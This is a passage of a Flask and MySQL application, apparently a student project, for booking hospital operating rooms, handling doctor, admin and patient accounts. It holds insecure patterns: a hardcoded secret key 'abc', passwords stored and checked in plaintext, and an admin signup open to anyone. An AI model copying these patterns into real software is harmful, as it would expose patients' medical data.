VARCHAR(25))\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS ConfirmedOperations ( OperationID INT, FOREIGN KEY (OperationID) REFERENCES Operations(ID), StartTime INT, EstimatedEndTime INT, OperationRoomNumber INT , FOREIGN KEY (OperationRoomNumber) REFERENCES OperationRooms(RoomNumber), EndingStatus VARCHAR(25), TableInsertionOrder INT AUTO_INCREMENT, PRIMARY KEY (TableInsertionOrder))\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS CancelledOperations (OperationID INT, FOREIGN KEY (OperationID) REFERENCES Operations(ID) , StartTime INT, EstimatedEndTime INT, OperationRoomNumber INT , FOREIGN KEY (OperationRoomNumber) REFERENCES OperationRooms(RoomNumber) )\")\nmycursor.execute(\"CREATE TABLE IF NOT EXISTS AssistingDoctors ( OperationID INT, FOREIGN KEY (OperationID) REFERENCES Operations(ID), DoctorID INT, FOREIGN KEY (DoctorID) REFERENCES Doctors(ID) )\")\n\n#Server\n\napp = Flask(__name__)\napp.secret_key = \"abc\"\n\n@app.route('/')\ndef HomePage():\n return render_template(\"HomePage.html\")\n\n@app.route('/ReservationRequestFormPage', methods=['GET', 'POST'])\ndef ReservationRequestFormPage():\n if request.method == \"POST\" :\n\n OperationType = request.form['OperationType']\n LeadingDoctorID = request.form['LeadingDoctorID']\n OperationDay = request.form['OperationDay']\n OperationMonth = request.form['OperationMonth']\n OperationYear = request.form['OperationYear']\n OperationLevel = request.form['OperationLevel']\n EstimatedHours = request.form['EstimatedHours']\n PatientFirstName = request.form['PatientFirstName']\n PatientLastName = request.form['PatientLastName']\n\n AssistingDoc1FirstName = request.form['AssistingDoc1FirstName']\n AssistingDoc1LastName = request.form['AssistingDoc1LastName']\n AssistingDoc2FirstName = request.form['AssistingDoc2FirstName']\n AssistingDoc2LastName = request.form['AssistingDoc2LastName']\n AssistingDoc3FirstName = request.form['AssistingDoc3FirstName']\n AssistingDoc3LastName = request.form['AssistingDoc3LastName']\n AssistingDoc4FirstName = request.form['AssistingDoc4FirstName']\n AssistingDoc4LastName = request.form['AssistingDoc4LastName']\n AssistingDoc5FirstName = request.form['AssistingDoc5FirstName']\n AssistingDoc5LastName = request.form['AssistingDoc5LastName']\n AssistingDoc6FirstName = request.form['AssistingDoc6FirstName']\n AssistingDoc6LastName = request.form['AssistingDoc6LastName']\n\n try:\n \n mycursor.execute(\"SELECT COUNT(ID) FROM Operations\")\n myresult1 = mycursor.fetchone()\n OperationID = myresult1[0] + 1\n\n sql0 = \"SELECT ID From Patients WHERE FirstName = %s AND LastName = %s\"\n val0 = (PatientFirstName,PatientLastName)\n mycursor.execute(sql0,val0)\n myresult2 = mycursor.fetchone()\n PatientID = myresult2[0]\n \n\n mainsql = \"INSERT INTO Operations (ID , Type , Day , Month , Year , OperationLevel , EstimatedHours , PatientID , LeadingDoctorID, Status ) VALUES ( %s, %s, %s, %s, %s, %s, %s, %s, %s, %s )\"\n mainval = (OperationID,OperationType,OperationDay,OperationMonth,OperationYear,OperationLevel,EstimatedHours,PatientID,LeadingDoctorID,\"Pending\")\n mycursor.execute(mainsql,mainval)\n mydb.commit()\n\n if ( AssistingDoc1FirstName != \"\" and AssistingDoc1LastName != \"\" ):\n sql1 = \"SELECT ID From Doctors WHERE FirstName = %s AND LastName = %s\"\n val1 = (AssistingDoc1FirstName,AssistingDoc1LastName)\n mycursor.execute(sql1,val1)\n sideresult1 = mycursor.fetchone()\n AssDoc1ID = sideresult1[0]\n sidesql1 = \"INSERT INTO AssistingDoctors (OperationID, DoctorID) VALUES ( %s, %s )\"\n sideval1 = (OperationID,AssDoc1ID)\n mycursor.execute(sidesql1,sideval1)\n mydb.commit()\n\n if ( AssistingDoc2FirstName != \"\" and AssistingDoc2LastName != \"\" ):\n sql2 = \"SELECT ID From Doctors WHERE FirstName = %s AND LastName = %s\"\n val2 = (AssistingDoc2FirstName,AssistingDoc2LastName)\n mycursor.execute(sql2,val2)\n sideresult2 = mycursor.fetchone()\n AssDoc2ID = sideresult2[0]\n sidesql2 = \"INSERT INTO AssistingDoctors ( OperationID, DoctorID ) VALUES (%s, %s)\"\n sideval2 = (OperationID,AssDoc2ID)\n mycursor.execute(sidesql2,sideval2)\n mydb.commit()\n\n if ( AssistingDoc3FirstName != \"\" and AssistingDoc3LastName != \"\" ):\n sql3 = \"SELECT ID From Doctors WHERE FirstName = %s AND LastName = %s\"\n val3 = (AssistingDoc3FirstName,AssistingDoc3LastName)\n mycursor.execute(sql3,val3)\n sideresult3 = mycursor.fetchone()\n AssDoc3ID = sideresult3[0]\n sidesql3 = \"INSERT INTO AssistingDoctors ( OperationID, DoctorID ) VALUES (%s, %s)\"\n sideval3 = (OperationID,AssDoc3ID)\n mycursor.execute(sidesql3,sideval3)\n mydb.commit()\n\n if ( AssistingDoc4FirstName != \"\" and AssistingDoc4LastName != \"\" ):\n sql4 = \"SELECT ID From Doctors WHERE FirstName = %s AND LastName = %s\"\n val4 = (AssistingDoc4FirstName,AssistingDoc4LastName)\n mycursor.execute(sql4,val4)\n sideresult4 = mycursor.fetchone()\n AssDoc4ID = sideresult4[0]\n sidesql4 = \"INSERT INTO AssistingDoctors ( OperationID, DoctorID ) VALUES (%s, %s)\"\n sideval4 = (OperationID,AssDoc4ID)\n mycursor.execute(sidesql4,sideval4)\n mydb.commit()\n\n if ( AssistingDoc5FirstName != \"\" and AssistingDoc5LastName != \"\" ):\n sql5 = \"SELECT ID From Doctors WHERE FirstName = %s AND LastName = %s\"\n val5 = (AssistingDoc5FirstName,AssistingDoc5LastName)\n mycursor.execute(sql5,val5)\n sideresult5 = mycursor.fetchone()\n AssDoc5ID = sideresult5[0]\n sidesql5 = \"INSERT INTO AssistingDoctors ( OperationID, DoctorID ) VALUES (%s, %s)\"\n sideval5 = (OperationID,AssDoc5ID)\n mycursor.execute(sidesql5,sideval5)\n mydb.commit()\n\n if ( AssistingDoc6FirstName != \"\" and AssistingDoc6LastName != \"\" ):\n sql6 = \"SELECT ID From Doctors WHERE FirstName = %s AND LastName = %s\"\n val6 = (AssistingDoc6FirstName,AssistingDoc6LastName)\n mycursor.execute(sql6,val6)\n sideresult6 = mycursor.fetchone()\n AssDoc6ID = sideresult6[0]\n sidesql6 = \"INSERT INTO AssistingDoctors ( OperationID, DoctorID ) VALUES (%s, %s)\"\n sideval6 = (OperationID,AssDoc6ID)\n mycursor.execute(sidesql6,sideval6)\n mydb.commit()\n\n\n return render_template(\"ReservationRequestFeedback.html\", SuccessMsg1 = \"Your Reservation Request has been successfully sent!\", SuccessMsg2 = \"Your Request is pending approval. Please wait a few hours while the admin reviews your request.\", SuccessMsg3 = \"Thank you for your patience!\")\n\n except:\n return render_template(\"ReservationRequestFeedback.html\", FailureMsg1 = \"Something is wrong with the data you entered!\", FailureMsg2 = \"Please try again. Thank you.\")\n\n else:\n return render_template(\"ReservationRequestFormPage.html\")\n\n@app.route('/ReservationRequestFeedback')\ndef ReservationRequestFeedback():\n return render_template(\"ReservationRequestFeedback.html\")\n\n@app.route('/ViewReservationRequests')\ndef ViewReservationRequests():\n\n sql1 = \"SELECT * FROM Operations WHERE OperationLevel = %s AND Status = %s ORDER BY Year, Month, Day\"\n val1 = (\"Critical\",\"Pending\")\n mycursor.execute(sql1,val1)\n CriticalOps = mycursor.fetchall()\n\n sql2 = \"SELECT * FROM Operations WHERE OperationLevel = %s AND Status = %s ORDER BY Year, Month, Day\"\n val2 = (\"High\",\"Pending\")\n mycursor.execute(sql2,val2)\n HighOps = mycursor.fetchall()\n\n sql3 = \"SELECT * FROM Operations WHERE OperationLevel = %s AND Status = %s ORDER BY Year, Month, Day\"\n val3 = (\"Medium\",\"Pending\")\n mycursor.execute(sql3,val3)\n MediumOps= mycursor.fetchall()\n\n sql4 = \"SELECT * FROM Operations WHERE OperationLevel = %s AND Status = %s ORDER BY Year, Month, Day\"\n val4 = (\"Low\",\"Pending\")\n mycursor.execute(sql4,val4)\n LowOps = mycursor.fetchall()\n\n return render_template(\"ViewReservationRequests.html\", CriticalOperations = CriticalOps, HighOperations = HighOps, MediumOperations = MediumOps, LowOperations = LowOps )\n\n@app.route('/ViewConfirmationResult', methods=['GET', 'POST'])\ndef ViewConfirmationResult():\n if request.method == \"POST\" :\n\n try:\n #Retrieving ID of Chosen Operation \n OperationID = request.form['OperationID']\n\n #Changing its status in Operations table to confirmed\n sql1 = \"UPDATE Operations SET Status = %s WHERE ID = %s\"\n val1 = (\"Confirmed\",OperationID)\n mycursor.execute(sql1,val1)\n mydb.commit()\n\n #Retrieving info of chosen operation\n sql2 = \"SELECT * From Operations WHERE ID = %s \"\n val2 = (OperationID,)\n mycursor.execute(sql2,val2)\n OperationInfo = mycursor.fetchone()\n\n OperationDay = int(OperationInfo[2])\n OperationMonth = int(OperationInfo[3])\n OperationYear = int(OperationInfo[4])\n EstimatedHours = int(OperationInfo[6])\n\n #Retrieving operation room numbers\n mycursor.execute(\"SELECT RoomNumber FROM OperationRooms\")\n ORIDList = mycursor.fetchall()\n NumberofORs = len(ORIDList)\n\n #Finding a room\n RoomFound = False \n StartTime = -1\n EndTime = -1\n RoomNumber = -1\n j = 1\n while ( j <= 14 and RoomFound == False ):\n\n i = 0\n while ( i < NumberofORs and RoomFound == False ):\n \n sql = \"SELECT StartTime, EstimatedEndTime FROM ConfirmedOperations JOIN Operations ON OperationID = ID WHERE Day = %s AND Month = %s AND Year = %s AND OperationRoomNumber = %s ORDER BY TableInsertionOrder\"\n val = (OperationDay,OperationMonth,OperationYear,ORIDList[i][0])\n mycursor.execute(sql,val)\n ListofStartandEndTimesOnThisDayInThisRoom = mycursor.fetchall()\n NumberofOperationsOnThisDayInThisRoom = len(ListofStartandEndTimesOnThisDayInThisRoom)\n\n if ( NumberofOperationsOnThisDayInThisRoom == 0 ):\n RoomFound = True\n RoomNumber = ORIDList[i][0]\n StartTime = 6\n EndTime = StartTime + EstimatedHours\n else:\n EndTimeofLastOperationOnThisDayInThisRoom = ListofStartandEndTimesOnThisDayInThisRoom[NumberofOperationsOnThisDayInThisRoom-1][1]\n if ( EndTimeofLastOperationOnThisDayInThisRoom < 24 and EndTimeofLastOperationOnThisDayInThisRoom + 1 + EstimatedHours <= 24 ):\n RoomFound = True\n RoomNumber = ORIDList[i][0]\n StartTime = EndTimeofLastOperationOnThisDayInThisRoom + 1\n EndTime = StartTime + EstimatedHours\n elif ( EndTimeofLastOperationOnThisDayInThisRoom <= 24 and EndTimeofLastOperationOnThisDayInThisRoom + 1 + EstimatedHours > 24 ):\n RoomFound = False\n i += 1\n \n if ( RoomFound == False ):\n OperationDay += 1\n if ( OperationDay >= 31 ):\n OperationMonth += 1\n if ( OperationMonth >= 13 ):\n OperationDay = 1\n OperationMonth = 1\n OperationYear += 1\n if ( OperationYear >= 2031 ):\n OperationYear = -1\n j += 1\n\n\n if ( RoomFound == True ):\n print(OperationDay,'/',OperationMonth,'/',OperationYear)\n\n sidesql = \"UPDATE Operations SET Day = %s, Month = %s, Year = %s WHERE ID = %s\"\n sideval = (OperationDay, OperationMonth, OperationYear, OperationID)\n mycursor.execute(sidesql, sideval)\n mydb.commit()\n\n mainsql = \"INSERT INTO ConfirmedOperations ( OperationID, StartTime, EstimatedEndTime, OperationRoomNumber ) VALUES (%s, %s, %s, %s)\"\n mainval = (OperationInfo[0], StartTime, EndTime, RoomNumber)\n mycursor.execute(mainsql, mainval)\n message = OperationInfo[0]\n sync_cal(message,StartTime,EndTime,OperationYear,OperationMonth,OperationDay)\n mydb.commit()\n\n return render_template(\"ViewConfirmationResult.html\", OperationInfo = OperationInfo, StartTime = StartTime, EndTime = EndTime, RoomNumber = RoomNumber, success = \"succ\" )\n\n except:\n return render_template(\"ViewConfirmationResult.html\", error = \"err\")\n\n else: \n return render_template(\"ViewConfirmationResult.html\")\n \n@app.route('/ViewConfirmedOperations')\ndef ViewConfirmedOperations():\n mycursor.execute(\"SELECT ID, Type, Day, Month, Year, OperationLevel, StartTime, EstimatedEndTime, OperationRoomNumber, PatientID, LeadingDoctorID, EndingStatus FROM Operations JOIN ConfirmedOperations WHERE ID = OperationID ORDER BY Year, Month, Day, OperationRoomNumber, StartTime\")\n ConfirmedOps = mycursor.fetchall()\n return render_template(\"ViewConfirmedOperations.html\", ConfirmedOperations = ConfirmedOps)\n\n@app.route('/PendingRequestedOperations')\ndef PendingRequestedOperations():\n sql = \"SELECT * FROM Operations WHERE Status = %s AND LeadingDoctorID = %s ORDER BY Year, Month, Day\"\n DoctorID = session[\"DocID\"]\n val = (\"Pending\", DoctorID)\n mycursor.execute(sql,val)\n PendingOps = mycursor.fetchall()\n return render_template(\"PendingRequestedOperations.html\", PendingOperations = PendingOps )\n\n@app.route('/ConfirmedRequestedOperations')\ndef ConfirmedRequestedOperations():\n sql = \"SELECT * FROM Operations JOIN ConfirmedOperations ON ID = OperationID WHERE LeadingDoctorID = %s ORDER BY Year, Month, Day\"\n DoctorID = session[\"DocID\"]\n val = (DoctorID,)\n mycursor.execute(sql,val)\n ConfirmedOps = mycursor.fetchall()\n return render_template(\"ConfirmedRequestedOperations.html\", ConfirmedOperations = ConfirmedOps )\n\n@app.route('/ConfirmedAssistingOperations')\ndef ConfirmedAssistingOperations():\n sql = \"SELECT * FROM Operations JOIN ConfirmedOperations ON ID = ConfirmedOperations.OperationID JOIN AssistingDoctors ON ConfirmedOperations.OperationID = AssistingDoctors.OperationID WHERE DoctorID = %s ORDER BY Year, Month, Day\"\n DoctorID = session[\"DocID\"]\n val = (DoctorID,)\n mycursor.execute(sql,val)\n AssistingOps = mycursor.fetchall()\n return render_template(\"ConfirmedAssistingOperations.html\", AssistingOperations = AssistingOps )\n\n@app.route('/OperationsEndingStatus', methods=['GET', 'POST'])\ndef OperationsEndingStatus():\n if request.method == \"POST\" :\n OperationID = request.form['OperationID']\n OperationEndingStatus = request.form['OperationEndingStatus']\n print(OperationID)\n print(OperationEndingStatus)\n\n try:\n sql = \"SELECT * FROM ConfirmedOperations WHERE OperationID = %s\"\n val = (OperationID,)\n mycursor.execute(sql,val)\n myresult = mycursor.fetchall()\n if ( len(myresult) == 0 ):\n return render_template(\"OperationsEndingStatus.html\", FailureMsg = \"Oops.. You did not enter a valid ID.\")\n\n mainsql = \"UPDATE ConfirmedOperations SET EndingStatus = %s WHERE OperationID = %s\"\n mainval = (OperationEndingStatus,OperationID)\n mycursor.execute(mainsql,mainval)\n mydb.commit()\n return render_template(\"OperationsEndingStatus.html\", SuccessMsg = \"Ending Status Submitted Successfully!\")\n except:\n return render_template(\"OperationsEndingStatus.html\", FailureMsg = \"Oops.. You did not enter a valid ID.\")\n\n else:\n return render_template(\"OperationsEndingStatus.html\")\n\n@app.route('/ViewYourOperations')\ndef ViewYourOperations():\n sql = \"SELECT Operations.ID, Type, Day, Month, Year, StartTime, EstimatedEndTime, OperationRoomNumber, FirstName, LastName FROM Operations JOIN ConfirmedOperations ON Operations.ID = OperationID JOIN Doctors ON LeadingDoctorID = Doctors.ID WHERE PatientID = %s ORDER BY Year, Month, Day, StartTime\"\n PatID = session[\"PatID\"]\n val = (PatID,)\n mycursor.execute(sql,val)\n OpsList = mycursor.fetchall()\n return render_template(\"ViewYourOperations.html\", OperationsList = OpsList)\n\n@app.route('/login', methods=('GET', 'POST'))\ndef login():\n if request.method == 'POST':\n userID = request.form['userID']\n userpsw = request.form['userpsw']\n mycursor.execute(\"SELECT * FROM Doctors WHERE ID=%s And PassWord=%s \",\n (userID,userpsw)) \n myresult = mycursor.fetchall()\n if myresult: \n session['DocID']=userID\n return redirect(url_for('DocProfile'))\n else:\n error='Incorrect username or password.'\n\n mycursor.execute(\"SELECT * FROM Admins WHERE ID=%s And PassWord=%s \",\n (userID,userpsw)) \n myresult = mycursor.fetchall()\n if myresult: \n session['admID']=userID\n return redirect(url_for('AdminProfile'))\n else:\n error='Incorrect username or password.'\n \n mycursor.execute(\"SELECT * FROM Patients WHERE ID=%s And PassWord=%s \",\n (userID,userpsw)) \n myresult = mycursor.fetchall()\n if myresult: \n session['PatID']=userID\n return redirect(url_for('PatientProfile'))\n else:\n error='Incorrect username or password.'\n\n if error: \n flash(error)\n return render_template('login.html') \n else:\n return render_template('login.html') \n\n@app.route('/signup')\ndef signup():\n return render_template('signup.html') \n\n@app.route('/Adminsignup', methods=['GET', 'POST'])\ndef Adminsignup():\n if request.method==\"POST\":\n admusername=request.form['admusername']\n admID=request.form['admID']\n admpsw= request.form['admpsw']\n admFname=request.form['admFname']\n admLname=request.form['admLname'] \n admGender=request.form['admGender']\n admNationality=request.form['admnationality']\n admDay=request.form['admDay']\n admMonth=request.form['admMonth']\n admYear=request.form['admYear']\n admemail=request.form['admemail']\n admaddress=request.form['admaddress']\n admMobile=request.form['admMobile']\n\n error = None\n mycursor.execute('SELECT UserName FROM Admins WHERE ID = %s', (admID,))\n myresult = mycursor.fetchall()\n if \"admID\" in session:\n return redirect(url_for('AdminProfile'))\n elif not admusername:\n error = 'Username is required.'\n elif not admpsw:\n error = 'Password is required.'\n elif not admemail:\n error = 'Email is required.' \n elif not admID:\n error = 'ID is required.'\n elif not admFname:\n error='Firstname is required.'\n elif not admLname:\n error='Lastname is required.'\n elif not admGender:\n error='Gender is required.'\n elif not admNationality:\n error='Nationality is required.'\n elif not admDay:\n error='Day is required.'\n elif not admMonth:\n error='Month is required.'\n elif not admYear:\n error='Year is required.'\n elif not admaddress:\n error='Address is required.'\n elif not admMobile:\n error='admMobile is required.'\n elif myresult :\n error = 'Admin {} is already registered.'.format(admusername)\n\n if not error :\n mycursor.execute('INSERT INTO Admins (UserName, ID , PassWord,FirstName, LastName,Gender,Nationality ,BDay,BMonth ,BYear, Mobile, Email ,Address) VALUES (%s, %s,%s,%s, %s,%s,%s, %s,%s,%s, %s,%s,%s)',\n (admusername,admID, admpsw, admFname,admLname,admGender,admNationality,admDay,admMonth,admYear,admMobile,admemail, admaddress ))\n mydb.commit()\n session[\"admID\"]=admID\n x = session[\"admID\"]\n print(x)\n return redirect(url_for('AdminProfile'))\n else: \n #flash(error)\n return render_template('Adminsignup.html')\n\n else:\n return render_template('Adminsignup.html')\n\n@app.route('/Docsignup', methods=['GET','POST'])\ndef Docsignup():\n if request.method==\"POST\":\n Docusername=request.form['Docusername']\n DocID=request.form['DocID']\n Docpsw= request.form['Docpsw']\n DocFname=request.form['DocFname']\n DocLname=request.form['DocLname'] \n DocGender=request.form['DocGender']\n DocNationality=request.form['Docnationality']\n DocDay=request.form['DocDay']\n DocMonth=request.form['DocMonth']\n DocYear=request.form['DocYear']\n Docemail=request.form['Docemail']\n Docaddress=request.form['Docaddress']\n DocMobile=request.form['DocMobile']\n\n error = None\n mycursor.execute('SELECT UserName FROM Doctors WHERE ID = %s', (DocID,))\n myresult = mycursor.fetchall()\n if \"DocID\" in session:\n return redirect(url_for('DocProfile'))\n elif not Docusername:\n error = 'Username is required.'\n elif not Docpsw:\n error = 'Password is required.'\n elif not Docemail:\n error = 'Email is required.' \n elif not DocID:\n error = 'ID is required.'\n elif not DocFname:\n error='Firstname is required.'\n elif not DocLname:\n error='Lastname is required.'\n elif not DocGender:\n error='Gender is required.'\n elif not DocNationality:\n error='Nationality is required.'\n elif not DocDay:\n error='Day is required.'\n elif not DocMonth:\n error='Month is required.'\n elif not DocYear:\n error='Year is required.'\n elif not Docaddress:\n error='Address is required.'\n elif not DocMobile:\n error='DocMobile is required.'\n elif myresult :\n error = 'Doctor {} is already registered.'.format(Docusername)\n\n if not error :\n mycursor.execute('INSERT INTO Doctors (UserName, ID , PassWord,FirstName, LastName,Gender,Nationality ,BDay,BMonth ,BYear, Mobile, Email ,Address) VALUES (%s, %s,%s,%s, %s,%s,%s, %s,%s,%s, %s,%s,%s)',\n (Docusername,DocID, Docpsw, DocFname,DocLname,DocGender,DocNationality,DocDay,DocMonth,DocYear,DocMobile,Docemail, Docaddress ))\n mydb.commit()\n session[\"DocID\"]=DocID\n x = session[\"DocID\"]\n print(x)\n return redirect(url_for('DocProfile'))\n else: \n #flash(error)\n return render_template('Docsignup.html')\n\n else:\n return render_template('Docsignup.html')\n\n@app.route('/Patientsignup', methods=['GET','POST'])\ndef Patientsignup():\n if request.method==\"POST\":\n Patusername=request.form['Patusername']\n PatID=request.form['PatID']\n Patpsw= request.form['Patpsw'] \n PatFname=request.form['PatFname']\n PatLname=request.form['PatLname'] \n PatGender=request.form['PatGender']\n PatNationality=request.form['Patnationality']\n PatDay=request.form['PatDay']\n PatMonth=request.form['PatMonth']\n PatYear=request.form['PatYear']\n Patemail=request.form['Patemail']\n Pataddress=request.form['Pataddress']\n PatMobile=request.form['PatMobile']\n Weight=request.form['Weight']\n Height=request.form['Height']\n ChronicDiseases=request.form['ChronicDiseases']\n Allergies=request.form['Allergies']\n PreviousOperations=request.form['PreviousOperations']\n error=None\n mycursor.execute('SELECT UserName FROM Patients WHERE ID = %s', (PatID,))\n myresult = mycursor.fetchall()\n if \"PatID\" in session:\n return redirect(url_for('PatientProfile'))\n elif not Patusername:\n error = 'Username is required.'\n elif not Patpsw:\n error = 'Password is required.'\n elif not Patemail:\n error = 'Email is required.' \n elif not PatID:\n error = 'ID is required.'\n elif not Patusername:\n error='Username is required.'\n elif not PatFname:\n error='Firstname is required.'\n elif not PatLname:\n error='Lastname is required.'\n elif not PatGender:\n error='Gender is required.'\n elif not PatNationality:\n error='Nationality is required.'\n elif not PatDay:\n error='Day is required.'\n elif not PatMonth:\n error='Month is required.'\n elif not PatYear:\n error='Year is required.'\n elif not Pataddress:\n error='Address is required.'\n elif not PatMobile:\n error='PatMobile is required.'\n elif not Weight:\n error='Weight is required.'\n elif not Height:\n error='Height is required.'\n elif not ChronicDiseases:\n error='Chronic Diseases are required.'\n elif not Allergies:\n error='Allergies are required.'\n elif not PreviousOperations:\n error='Previous Operations are required.'\n elif myresult:\n error = 'Patient {} is already registered.'.format(Patusername)\n \n if not error:\n mycursor.execute('INSERT INTO Patients (UserName, ID , PassWord,FirstName, LastName,Gender,Nationality ,BDay,BMonth ,BYear, Mobile, Email ,Address, Weight, Height, ChronicDiseases, Allergies, PreviousOperations) VALUES (%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s,%s)',\n (Patusername,PatID, Patpsw, PatFname,PatLname,PatGender,PatNationality,PatDay,PatMonth,PatYear,PatMobile,Patemail, Pataddress, Weight, Height, ChronicDiseases, Allergies, PreviousOperations))\n mydb.commit()\n session[\"PatID\"]=PatID\n return redirect(url_for('PatientProfile'))\n else: \n flash(error)\n return render_template('Patientsignup.html')\n\n else:\n return render_template('Patientsignup.html')\n\n@app.route('/AdminProfile')\ndef AdminProfile() :\n return render_template('AdminProfile.html')\n\n@app.route('/DocProfile')\ndef DocProfile() :\n return render_template('DocProfile.html')\n\n@app.route('/PatientProfile')\ndef PatientProfile() :\n return render_template('PatientProfile.html')\n\n@app.route('/logout')\ndef logout():\n if 'admID' in session:\n session.pop(\"admID\",None)\n elif 'PatID' in session:\n session.pop(\"PatID\",None)\n elif 'DocID' in session:\n session.pop(\"DocID\",None) \n return redirect(url_for('HomePage'))\n\n@app.route('/Cancellation', methods=['GET','POST'])\ndef Cancellation():\n if request.method==\"POST\":\n Docpsw= request.form['psw'] \n opID=request.form['operationID']\n # session['id'] = opID\n #check if it is in operations table\n mycursor.execute(\"SELECT * FROM Operations INNER JOIN Doctors ON Operations.LeadingDoctorID=Doctors.ID WHERE Doctors.PassWord=%s And Operations.ID=%s And Operations.Status !='Cancelled' \",\n (Docpsw,opID)) \n myresult = mycursor.fetchall()\n if myresult: \n sql = \"UPDATE Operations SET Status = 'Cancelled' WHERE ID= %s\"\n opid=(opID,)\n mycursor.execute(sql,opid)\n mydb.commit()\n sql = \"INSERT INTO CancelledOperations ( OperationID,StartTime,EstimatedEndTime,OperationRoomNumber) SELECT OperationID,StartTime,EstimatedEndTime,OperationRoomNumber \\\n From ConfirmedOperations WHERE OperationID = %s \"\n opid=(opID,)\n mycursor.execute(sql,opid)\n mydb.commit()\n mycursor.execute(\"DELETE FROM ConfirmedOperations WHERE OperationID=%s\",(opID,))\n mydb.commit()\n #Delete from Calendar\n # return to confirmed \n return render_template('Cancellation.html')\n # , msg=\"Cancelled successfully\")\n else:\n return render_template('Cancellation.html')\n # error=\"No Matching Operation\") \n else:\n return render_template('Cancellation.html')\n\n@app.route('/viewcancelled')\ndef viewcancelled() :\n DocID = session[\"DocID\"]\n mycursor.execute(\"SELECT * FROM CancelledOperations INNER JOIN Operations ON CancelledOperations.OperationID=Operations.ID \\\n INNER JOIN Doctors ON Operations.LeadingDoctorID= Doctors.ID WHERE Doctors.ID=%s \", (DocID,)) \n myresult = mycursor.fetchall()\n for x in myresult:\n print(x)\n return render_template(\"viewcancelled.html\",result=myresult) \n\n@app.route('/docotrsanalysis')\ndef doctoranalysis():\n # mycursor.execute(\" SELECT Type FROM ConfirmedOperations\")\n # myresult = mycursor.fetchall()\n # for x in myresult:\n # print(x)\n sql= \" SELECT Doctors.ID, COUNT(*) FROM Doctors INNER JOIN Operations ON Doctors.ID = Operations.LeadingDoctorID INNER JOIN ConfirmedOperations ON Operations.ID=ConfirmedOperations.OperationID WHERE EndingStatus =%s GROUP BY Doctors.ID \"\n suc= \"Success\" \n val=(suc,)\n mycursor.execute(sql,val)\n myresult = mycursor.fetchall()\n for x in myresult:\n print(x)\n return render_template('doctoranalysis.html',result=myresult)\n\n@app.route('/operationsanalysis')\ndef operationsanalysis():\n # mycursor.execute(\" SELECT Type FROM ConfirmedOperations\")\n # myresult = mycursor.fetchall()\n # for x in myresult:\n # print(x)\n sql= \" SELECT Operations.Type, COUNT(*) FROM Operations INNER JOIN ConfirmedOperations ON Operations.ID=ConfirmedOperations.OperationID WHERE EndingStatus =%s GROUP BY Type \"\n suc= \"Success\" \n val=(suc,)\n mycursor.execute(sql,val)\n myresult = mycursor.fetchall()\n for x in myresult:\n print(x)\n return render_template('operationsanalysis.html',result=myresult)\n\n # mycursor.execute(\"SELECT * FROM Doctors\")\n # row_headers=[x[0] for x in mycursor.description] #this will extract row headers\n # myresult = mycursor.fetchall()\n # data={\n # 'message':\"data retrieved\",\n # 'rec':myresult,\n # 'header':row_headers\n # }\n # return render_template('viewdoctor.html',data=data)\n@app.route('/AdminUpdate', methods=['GET','POST']) \ndef AdminUpdate():\n if request.method==\"POST\":\n admID=session[\"admID\"]\n admusername=request.form['admusername']\n admpsw= request.form['admpsw']\n admFname=request.form['admFname']\n admLname=request.form['admLname'] \n admGender=request.form['admGender']\n admNationality=request.form['admnationality']\n admDay=request.form['admDay']\n admMonth=request.form['admMonth']\n\n admYear=request.form['admYear']\n\n admemail=request.form['admemail']\n\n admaddress=request.form['admaddress']\n\n admMobile=request.form['admMobile']\n # sql= \"UPDATE Admins SET UserName=%s , PassWord=%s, FirstName=%s, LastName= %s, Gender=%s, Nationality=%s , Day=%s, Month=%s ,Year =%s, Mobile=%s, Email=%s ,Address= %s WHERE ID=%s \"\n # val=(admusername, admpsw, admFname,admLname,admGender,admNationality,admDay,admMonth,admYear,admMobile,admemail, admaddress, admID )\n # mycursor.execute(sql,val)\n # mydb.commit()\n error=None\n if not admusername:\n error = 'Username is required.'\n elif not admpsw:\n error = 'Password is required.'\n elif not admemail:\n error = 'Email is required.' \n elif not admID:\n error = 'ID is required.'\n elif not admFname:\n error='Firstname is required.'\n elif not admLname:\n error='Lastname is required.'\n elif not admGender:\n error='Gender is required.'\n elif not admNationality:\n error='Nationality is required.'\n elif not admDay:\n error='Day is required.'\n elif not admMonth:\n error='Month is required.'\n elif not admYear:\n error='Year is required.'\n elif not admaddress:\n error='Address is required.'\n elif not admMobile:\n error='admMobile is required.'\n \n\n if error:\n return render_template('Admininfo.html',error=error)\n else:\n\n mycursor.execute(\"DELETE FROM Admins WHERE ID=%s\",(admID,))\n mydb.commit()\n mycursor.execute('INSERT INTO Admins (UserName, ID , PassWord,FirstName, LastName,Gender,Nationality ,BDay,BMonth ,BYear, Mobile, Email ,Address) VALUES (%s, %s,%s,%s, %s,%s,%s, %s,%s,%s, %s,%s,%s)',\n (admusername,admID, admpsw, admFname,admLname,admGender,admNationality,admDay,admMonth,admYear,admMobile,admemail, admaddress ))\n mydb.commit()\n \n return redirect(url_for('Admininfo'))\n else:\n admID = session[\"admID\"]\n mycursor.execute(\"SELECT * FROM Admins WHERE Admins.ID=%s \", (admID,)) \n myresult = mycursor.fetchall()\n return render_template('AdminUpdate.html',result=myresult)\n\n@app.route('/PatientUpdate', methods=['GET','POST']) \ndef PatientUpdate():\n if request.method==\"POST\":\n PatID=session[\"PatID\"]\n Patusername=request.form['Patusername']\n Patpsw= request.form['Patpsw']\n PatFname=request.form['PatFname']\n PatLname=request.form['PatLname'] \n PatGender=request.form['PatGender']\n PatNationality=request.form['Patnationality']\n PatDay=request.form['PatDay']\n PatMonth=request.form['PatMonth']\n\n PatYear=request.form['PatYear']\n\n Patemail=request.form['Patemail']\n\n Pataddress=request.form['Pataddress']\n\n PatMobile=request.form['PatMobile']\n Weight=request.form['Weight']\n Height=request.form['Height']\n ChronicDiseases=request.form['ChronicDiseases']\n Allergies=request.form['Allergies']\n PreviousOperations=request.form['PreviousOperations']\n # sql= \"UPDATE Patins SET UserName=%s , PassWord=%s, FirstName=%s, LastName= %s, Gender=%s, Nationality=%s , Day=%s, Month=%s ,Year =%s, Mobile=%s, Email=%s ,Address= %s WHERE ID=%s \"\n # val=(Patusername, Patpsw, PatFname,PatLname,PatGender,PatNationality,PatDay,PatMonth,PatYear,PatMobile,Patemail, Pataddress, PatID )\n # mycursor.execute(sql,val)\n # mydb.commit()\n error=None\n if not Patusername:\n error = 'Username is required.'\n elif not Patpsw:\n error = 'Password is required.'\n elif not 